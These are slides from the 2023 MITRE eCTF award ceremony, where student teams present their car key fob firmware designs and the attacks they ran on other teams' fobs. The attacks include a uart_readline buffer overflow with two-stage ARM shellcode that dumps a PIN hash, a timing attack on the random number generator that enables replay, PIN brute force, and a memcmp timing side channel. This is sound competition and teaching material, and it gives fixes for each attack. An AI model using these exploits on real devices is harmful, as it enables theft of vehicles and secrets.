  - Pairing, unlocking, and features

- Attack Highlights
  - `uart_readline` Buffer Overflow
  - Exploiting Event-Based Timer RNG

- Final comments and lessons learned
Design Phase
Design Methodology

- No code until protocol was fully created
  - This gave us time to properly design our implementation to ensure that there were no fundamental vulnerabilities
  - After the protocol is created, writing code is simply following the protocol - also allowed team members to easily get into writing code
- No magic numbers - all constants were defined
  - This allowed us to easily calculate message sizes
  - Reduces the risk of discrepancies in our calculations
- **Rust 💀**
  - Limits potential for trivial buffer overflows or memory issues
- **Elliptic Curve Digital Signature Algorithm**
  - Encryption provides no authentication or integrity
  - Message signing provides both
- **Random number generation**
  - Used to create unique challenge nonces to prevent replay attacks
  - Entropy from initial SRAM, event timing, and CPU temperature
- **Proper timing**
  - Prevents side channel and brute force attacks
Pairing Process: Correct PIN

- **Host computer**
- **Paired fob**
- **Unpaired fob**

**Pair request with PIN**

- Validates PIN
- Wait for 0.8 sec

- Send fob data
Pairing Process: Incorrect PIN

- Host computer
- Paired fob
- Paired fob

Pair request with PIN

- Validates PIN
- Wait for 0.8 sec
- Incorrect PIN, stall for 5 sec
Pairing Process: Fob Data

- **FOB_SALT**: device-specific, for hashing PIN and other secrets
- **PIN_HASH**: we always store the hash, never the PIN by itself
- **FOB_SEC_ENC**: key used to communicate with the car
  - Encrypted by XORing with hash of PIN and salt
Unlocking Process: Paired fob

1. Host computer
2. Start unlock
3. Send challenge nonce
4. Encrypt nonce
5. Car
6. Verify nonce
7. Wait for 0.8 sec
8. Unlock car
9. Fob
Unlocking Process: Unpaired fob

Host computer

Car

Fob

Start unlock

Send challenge nonce Encrypt nonce

Verify nonce

Wait for 0.8 sec

Incorrect signed nonce, stall for 5 sec
Feature Validation

- Unique to car ID and feature number
- Signed by the manufacturer private key
- Car verifies with the public key
Revised Design

- What might we do better next time?
  - *Fix secret generation!*
    - Invest more time in writing clean deployment code - our design was likely secure, but one mistake in our build process cost us
  - *Use a shared keypair between unpaired fob and paired fob*
    - This creates a situation where the secure firmware for an unpaired fob is required to pair, meaning you'd need three secure bootloader boards

- Deliberately consider hardware attacks
  - Power side-channels
  - Fault injection
Attack Highlights
Vulnerability: `uart_readline()` will continue to read until a newline, regardless of the output buffer size. This allows for a buffer overflow attack.

```
uint8_t uart_buffer[sizeof(ENABLE_PACKET)];
uart_readline(HOST_UART, uart_buffer);
```

Vulnerable `enableFeature()` in `fob/src/firmware.c`
**uart_readline BOF**

**Exploit:** Using the buffer overflow, we overwrite the return address to jump to shellcode on the stack, giving us arbitrary code execution.

- In this example, we are attacking a team's feature enabling on a fob to extract their PIN.
- We preserve `main()` locals since they are used in the `enableFeature()` function (and we want it to return successfully to our shellcode)
Exploit: In order to preserve the PIN hash, we write a 20 byte "trampoline" to jump to stage 2 shellcode. Once in stage 2, we can dump the PIN hash to UART and crack it off-device.

```assembly
ldr r0, =0x4000c000  // HOST_UART
add r1, sp, #0x300
ldr r2, =0xad89      // uart_read()
blx r2
b $+0x3a0           // jump to stage 2

Stage 1

ldr r0, =0x4000c000  // HOST_UART
ldr r1, =0x200020c9   // &PIN hash
ldr r2, =64
ldr r3, =0xadb3      // uart_write()
blx r3
```

Stage 2
Impacts and Countermeasures

Attack severity: Critical

Impact: Code reuse is unlikely on an embedded device, but so are countermeasures like canaries, W^X stack, ASLR/PIE, etc. Primitives available for arbitrarily large shellcode injection

Fix: Patch uart_readline to only read a fixed length
Some teams based their RNG using two sources of entropy:
- "Random" bytes in program flash generated during compilation
- The tick timer value when the car receives an unlock
For future unlocks, the car will commit new "random" values to the program flash
Exploiting Event-Based Timer RNG

- In truth, the car can be reflashed with the firmware, restoring the original "random" values
  - This means only one source of entropy is truly used - the tick timer when the car is unlocked
- The tick timer runs very fast on the highest possible clock speed (sub-microseconds)
- How do we attack this?
  - It's reasonable to assume that a human cannot possibly press the unlock button on the fob for the car to unlock at an exact tick value
Exploiting Event-Based Timer RNG
Exploiting Event-Based Timer RNG
Exploiting Event-Based Timer RNG
Exploiting Event-Based Timer RNG

1. Car logs the tick timer value, \( x \), when it receives unlock request.

2. Fob creates a valid response to nonce \( x \), to unlock the car.
Exploiting Event-Based Timer RNG

1. Car logs the tick timer value, $y$, when it receives unlock request
Exploiting Event-Based Timer RNG

Goal: Send an unlock request at an exact tick value, $x$, so it will always generate nonce $x$
Exploiting Event-Based Timer RNG

1. When the car powers on, it may activate some LEDs.
Exploiting Event-Based Timer RNG

2. The evil fob knows exactly when the car has powered on based on the LED monitor, and sends a precisely timed unlock request

3. Since the tick rate of the fob and car are the same, the car will almost always log the same tick value, $x$, and generate the same nonce $x$
Stage 1: Execute Timing Attack and Record Unlock Messages

Evil fob acts as MITM to record unlock message pairs while executing timing attack against car.

Nonce x -> Response x
Nonce y -> Response y
Nonce z -> Response z
Stage 2: Mode Switch and Replay

Replay response based on nonces collected from stage 1.

Nonce x $\rightarrow$ Response x
Nonce y $\rightarrow$ Response y
Nonce z $\rightarrow$ Response z
We were able to get nonce collisions after only two or three attempts, showing this is a precise and reproducible attack.
Impacts and Countermeasures

**Attack severity:** Moderate

**Impact:** Allows an attacker to control RNG. The attacker can therefore compromise nonce generation to perform replay attacks. The attack is difficult to perform and only works with temporary fob access.

**Fix:** Use environmental entropy - more sources, more samples, more entropy, more security.
Other Attacks

- Pairing Pin Enumeration
  - $2^{24}$ pins exist - without timeouts we can enumerate all pins in hours
- Broken Implementation
  - Timer not starting
  - Inverted `memcmp` check
  - Compiler loop optimization
  - `strncpy` instead of `memcmp`
- Insecure Crypto
Final Comments
Design Phase

- Read the spec, and then read it again
- Multiple layers of security
- Test individual components of your implementation
- Be careful with crypto
  - Use well-known methods and protocols in safe patterns
  - Understand the limitations of the methods chosen
- The compiler is not always your friend
  - Undefined behaviour, even when unexploitable, is terrible
Attack Phase

- Watching the scoreboard is a double edged sword
  - "I kinda just assumed that because CMU hadn't gotten the flag yet, it was impenetrable"
- Read the implementation, not the intention
  - "// it's safe bro trust me"
  - // Wait 5 seconds before trying again
    for (int i = 0; i < 80000000 * 5; i++);
- Validate even if things seems correct
  - Does fob 0 open all cars?
  - Is the challenge actually changing?
Thank you!
Welcome
Doug Gardner
Chief Technologist, Analog Devices
LUNCH BREAK
11:40 PM – 12:50 PM

Restrooms, Refreshments
See you soon!
University at Buffalo
Team Cacti
Team Cacti

University at Buffalo

Zheyuan (Andy) Ma, Gaoxiang Liu, Xi Tan, Md Armanuzzaman, Trevor Schupbach, Safayat Bin Hakim, Sagar Mohan, Hiu Laam Chau

Faculty Advisors: Prof. Ziming Zhao and Prof. Hongxin Hu
Our PARED Design

- Mbed TLS as the crypto library
- Mostly used RSA, with some runtime-AES
- Challenge-Response design in unlocking
- DWT tracing cycle counter as the PRNG entropy and seed upon user event
Flaws

Crypto algorithm: RSA is slow
PIN hashing: sha256 is weak
PIN hashing salt: a value can be recovered from fob0
No boot-time checking for PIN brute-forcing
No timeout in message exchange design
A terrible buffer overflow in car firmware
Attack Setup
Attack 1 – Replay

Insecure Randomness

Half of the designs have this issue: either no randomness at all or weak entropy source

Temp Fob Access and Passive Unlock flags: obtain within 3 minutes of entering attack phase

Good runtime entropy sources: SysTick timer, system clock, DWT CPU cycle count, ADC temperature sensor reading, and uninitialized RAM
Attack 2 – PIN Brute-force

No boot-time check whether system is under attack

RESET Pin: give a low-voltage signal (NULL byte)

Fob0 PIN is known:
- Boot time: system ready for command after reset
- Process time: URAT1 output after issuing the PIN

Total < 0.1s is feasible

Fix: store a flag for each incorrect try and check during booting
Other Attacks

Buffer overflow in fob firmware
- Use functions provided in reference design
- Trigger the output of the pairing info through UART1
- Trigger the output of anything in SRAM

Key-exchange design does not rely on any stored secrets in device
- Any self-built car/fob can complete the key-exchange process

Share the same key for feature package and unlocking
- Feature package can be used as a message for unlocking

Share the same secret across all the fob/car paired within a same building environment
- Misunderstanding the building process; Lack of fundamental testing
To make our design better...

Crypto algorithm: elliptic curve

Keyed hashing algorithm for PIN

Store a flag for unsuccessful operations; more aggressive device reset policy

Add a short timeout in message exchanging to prevent MITM

Use multiple sources as the PRNG entropy including device timer

Add countermeasures for side-channel attacks, e.g., random small delays in execution

Switch to Clang/LLVM compiler

Avoid Last-minute changes – do not rush to submit your design!
Q&A

Zheyuan (Andy) Ma
- CactiLab
- University at Buffalo
Carnegie Mellon University
Team Plaid Parliament of Pwning

#eCTF2023
Plaid Parliament of Pwning 2023 eCTF Team
Carnegie Mellon University

Eliana Cohen, Aditya Desai, Nandan Desai, Neha Gautam, Henry Howland, Ray Huang, Harrison Leinweber (Lead), Ethan Oh, Palash Oswal, Anish Singhani, Carson Swoveland, Madeline Tasker-Fernandes, Suma Thota, and Hanjie Wu

Advised by Anthony Rowe, Patrick Tague, and Maverick Woo
Presentation Outline

• **Our Design**
  • Overview
  • Highlights
  • Improvements

• **Attack Phase Highlights**
  • Timing Attacks
  • Impacts and Countermeasures
  • Other Attacks

• **Final Comments and Lessons Learned**
Our Design
Our Design Highlights

- Strong random number generation
- Anti-glitching techniques
- Comprehensive test suite
- Replay protection using challenge-response
- EEPROM encryption
- Review of all external code used
- Protections against bruteforce
- Power analysis protections
- Compiler countermeasures
Our Design - Possible Improvements

Possible Improvements

• Use Station-to-Station (STS) key exchange protocol against MITM attacks
• Include additional sources of entropy for random number generation
• Add countermeasures to prevent power analysis
• Increase robustness of timeout code during board to board exchanges

Defeating Our Design

• Power side-channel attacks, or more invasive hardware attacks
• Cooling board to cause RNG bit generation to take longer
**Attack Highlight: Timing Side-Channel Attack**

- **Vulnerability:** Use of `memcmp` or `strcmp` to verify pairing PIN will leak how many digits are correct based on the runtime of the function.

- **Attack:** Use a logic analyzer to measure runtime to a high precision with each possible prefix.
  - Identify prefix that takes longest to execute.
  - Only requires a few hundred attempts in total.

- **Complication:** Measurement depends on UART messages.
  - Average across ~10 measurements per attempt to reduce noise.
Attack Highlight: Timing Side-Channel Attack

- **This is a real-world attack that has impacted real systems in the past**
  - Spectre & Meltdown fundamentally based on timing attacks against the microarchitecture of the CPU itself

- Used to be very specific to embedded systems and many developers may not consider this attack unless they anticipate hardware-level attacks

- **Countermeasures**
  - *Lockouts*—Because so few attempts are required, delays don’t really help unless they increase exponentially with failed attempts
  - *Constant-Time Comparison*—Instead of using a loop, bitwise-XOR the expected value with the input, and use bitwise-OR to reduce; this always has the same runtime regardless of # of correct digits
Other Attacks

- **Replay “dictionary”**
  - Clock-based RNG
- **Buffer overflow**
  - `uart_readline`
- **Exploitation of weak crypto**
  - Duplicate/leaked keys
- **Clock glitching**
  - Single points of failure
- **Brute forcing**
  - Leaking a hash; lack of delays

Considered/attempted but not used:
  - **Power analysis**
    - Too much interference?
  - **VCC Glitching**
    - Too much risk to boards?
Key Takeaways

• Features of opponent systems that made things difficult for us?
  • Good RNG (even SRAM-based, especially thermal-noise based)
  • Rust (buffer overflow protection; unfamiliar for many team members)

• Attacks that would have worked against us?
  • Power analysis; more invasive hardware attacks

• What could we have done with more time and resources?
  • Power analysis (against vulnerable cryptosystems like XChaCha20)
  • VCC glitching and more invasive hardware attacks

• Most valuable thing learned from the competition?
  • Importance of working collaboratively
Sponsors Acknowledgement

We acknowledge the generous support of the following sponsors to our team:

- AT&T
- AWS
- Cisco
- Infineon
- Nokia Bell Labs
- Rolls-Royce
- Siemens

(Any opinions, findings, and conclusions or recommendations expressed in this material are those of our team and do not necessarily reflect the views of our sponsors.)
Thank you!
BREAK
1:20 PM – 1:30 PM
Restrooms, Refreshments
See you soon!
• Special Awards
• Top 3 Team Awards
• Final Scores

Kyle Scaplen
Senior Embedded Security Engineer

#eCTF2023
Congratulations

Whether you placed in the top or not, completing the design and attack phases is an admirable achievement.

You rock.
Special Award
Exemplary Write-Up

Awarded to the team that went above and beyond in creating and sharing a comprehensive write-up detailing their experiences in the Attack Phase.
Special Award: Exemplary Write-Up

UNIVERSITY OF NEW HAVEN

Alex Sitterer, Alexander Castromonte, Carolina Sousa De La Cruz, Elias Mosher, Jamal Bouajjaj, Jordan Saleh, Karrie Anne LeDuc-Santoro, Matthew Smith, Nicholas Dubois, Rajat Olhan, Thamer Alotaibi

Advised by: Aladin Sabanovic and Christopher Martinez
Special Award

Hardware Attacker

Awarded to the team with the most innovative uses of hardware attacks to successfully capture flags
Special Award: Hardware Attacker

CARNEGIE MELLON UNIVERSITY
Team Plaid Parliament of Pwing
Aditya Desai, Anish Singhani, Carson Swoveland, Eliana Cohen, Hanjie Wu, Harrison Leinweber, Henry Howland, Madelaine Tasker-Fernandes, Minwoo Oh, Nandankumar Desai, NEHA GAUTAM, Palash Oswal, Sirui Huang, Suma Thota
Advised by: Anthony Rowe, Maverick Woo, Patrick Tague
Special Award
Best Poster

Awarded to the team with the highest scoring poster by our panel of expert judges.
Special Award: Best Poster

Purdue University
Team b01Iers

Abhishek Reddypalle, Aditya Vardhan Padala, Akul Abhilash Pillai, Alan Chung Ma, Albert Yu, Arunkumar Bhattar, Ashwin Nambiar, Ayushi Sharma, Bo-Shiun Yen, Connor Glosner, Garvit Jairath, Gisu Yeo, Han Dai, Hongwei Wu, Jacob White, Jayashree Srinivasan, Muhammad Ibrahim, Naveen, Paschal Amusuo, Shashank Sharma, Siddharth Muralee

Advised by: Antonio Bianchi, Aravind Machiry, Santiago Torres-Arias
2023 eCTF Final Results
Final Scoring Breakdown

• Final scores are a combination of:
  • Design Phase flags
  • Defensive points
  • Offensive points
  • Documentation points
  • Poster points

• Documentation points and poster points are not shown on the scoreboard
Preliminary Scoreboard Results

Scores Over Time

- Points
- Scores from 2023-01-15 to 2023-04-15
Third Place
Third Place

UNIVERSITY OF ILLINOIS AT URBANA-CHAMPAIGN
Team sigpwny
Advised by: Kirill Levchenko

12,586 Final Points
49 Flags Captured
Second Place
Second Place

UNIVERSITY OF CALIFORNIA SANTA CRUZ
Team SlugSec
Brian Mak, Chiara Knicker, Eya Badal Abdisho, Iakov Taranenko, Jackson Kohls, Jeffrey Zhang, Nancy Lau, Stephen Lu, Steven Mak, Victor Ho
Advised by: Alvaro Cardenas

17,167 Final Points
61 Flags Captured
First Place
First Place

CARNEGIE MELLON UNIVERSITY
Team Plaid Parliament of Pwing
Aditya Desai, Anish Singhani, Carson Swoveland, Eliana Cohen, Hanjie Wu, Harrison Leinweber, Henry Howland, Madeline Tasker-Fernandes, Minwoo Oh, Nandankumar Desai, NEHA GAUTAM, Palash Oswal, Sirui Huang, Suma Thota
Advised by: Anthony Rowe, Maverick Woo, Patrick Tague

28,158 Final Points
79 Flags Captured
Final Scores: Top Teams

<table>
<thead>
<tr>
<th>Rank</th>
<th>Team</th>
<th>Scoreboard Score</th>
<th>Final Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Carnegie Mellon University</td>
<td>25098</td>
<td>28158</td>
</tr>
<tr>
<td>2</td>
<td>University of California Santa Cruz</td>
<td>14476</td>
<td>17167</td>
</tr>
<tr>
<td>3</td>
<td>University of Illinois at Urbana-Champaign</td>
<td>9743</td>
<td>12586</td>
</tr>
<tr>
<td>4</td>
<td>University at Buffalo</td>
<td>9232</td>
<td>11885</td>
</tr>
<tr>
<td>5</td>
<td>Indian Institute of Technology Madras</td>
<td>8933</td>
<td>11346</td>
</tr>
<tr>
<td>6</td>
<td>Purdue University</td>
<td>7328</td>
<td>10419</td>
</tr>
<tr>
<td>7</td>
<td>Michigan State University</td>
<td>5769</td>
<td>8680</td>
</tr>
<tr>
<td>8</td>
<td>Worcester Polytechnic Institute</td>
<td>6221</td>
<td>8576</td>
</tr>
<tr>
<td>9</td>
<td>University of Massachusetts Amherst</td>
<td>3972</td>
<td>5899</td>
</tr>
<tr>
<td>10</td>
<td>Singapore Management University</td>
<td>3447</td>
<td>5210</td>
</tr>
<tr>
<td>11</td>
<td>Tufts University</td>
<td>2647</td>
<td>4676</td>
</tr>
<tr>
<td>12</td>
<td>University of Washington</td>
<td>3797</td>
<td>4563</td>
</tr>
<tr>
<td>13</td>
<td>Virginia Tech</td>
<td>1590</td>
<td>4052</td>
</tr>
<tr>
<td>14</td>
<td>University of New Haven</td>
<td>2447</td>
<td>4044</td>
</tr>
<tr>
<td>15</td>
<td>Texas A&amp;M University</td>
<td>2067</td>
<td>3985</td>
</tr>
<tr>
<td>16</td>
<td>Florida Atlantic University</td>
<td>2605</td>
<td>3969</td>
</tr>
<tr>
<td>17</td>
<td>University of Colorado, Colorado Springs 1</td>
<td>1437</td>
<td>3816</td>
</tr>
<tr>
<td>18</td>
<td>University of Colorado, Colorado Springs 2</td>
<td>2369</td>
<td>3743</td>
</tr>
<tr>
<td>19</td>
<td>Morgan State University</td>
<td>1496</td>
<td>2620</td>
</tr>
<tr>
<td>20</td>
<td>University of California Irvine</td>
<td>1468</td>
<td>1915</td>
</tr>
<tr>
<td>21</td>
<td>Delaware Area Career Center</td>
<td>491</td>
<td>1562</td>
</tr>
<tr>
<td>22</td>
<td>University of North Dakota</td>
<td>450</td>
<td>1375</td>
</tr>
<tr>
<td>23</td>
<td>US Air Force Academy</td>
<td>400</td>
<td>1328</td>
</tr>
</tbody>
</table>
Dan Walters,
Senior Principal Microelectronics Solution Lead
Thank You!

2023 MITRE eCTF Award Ceremony

Need help? Seek individuals with purple lanyards for help!

#eCTF2023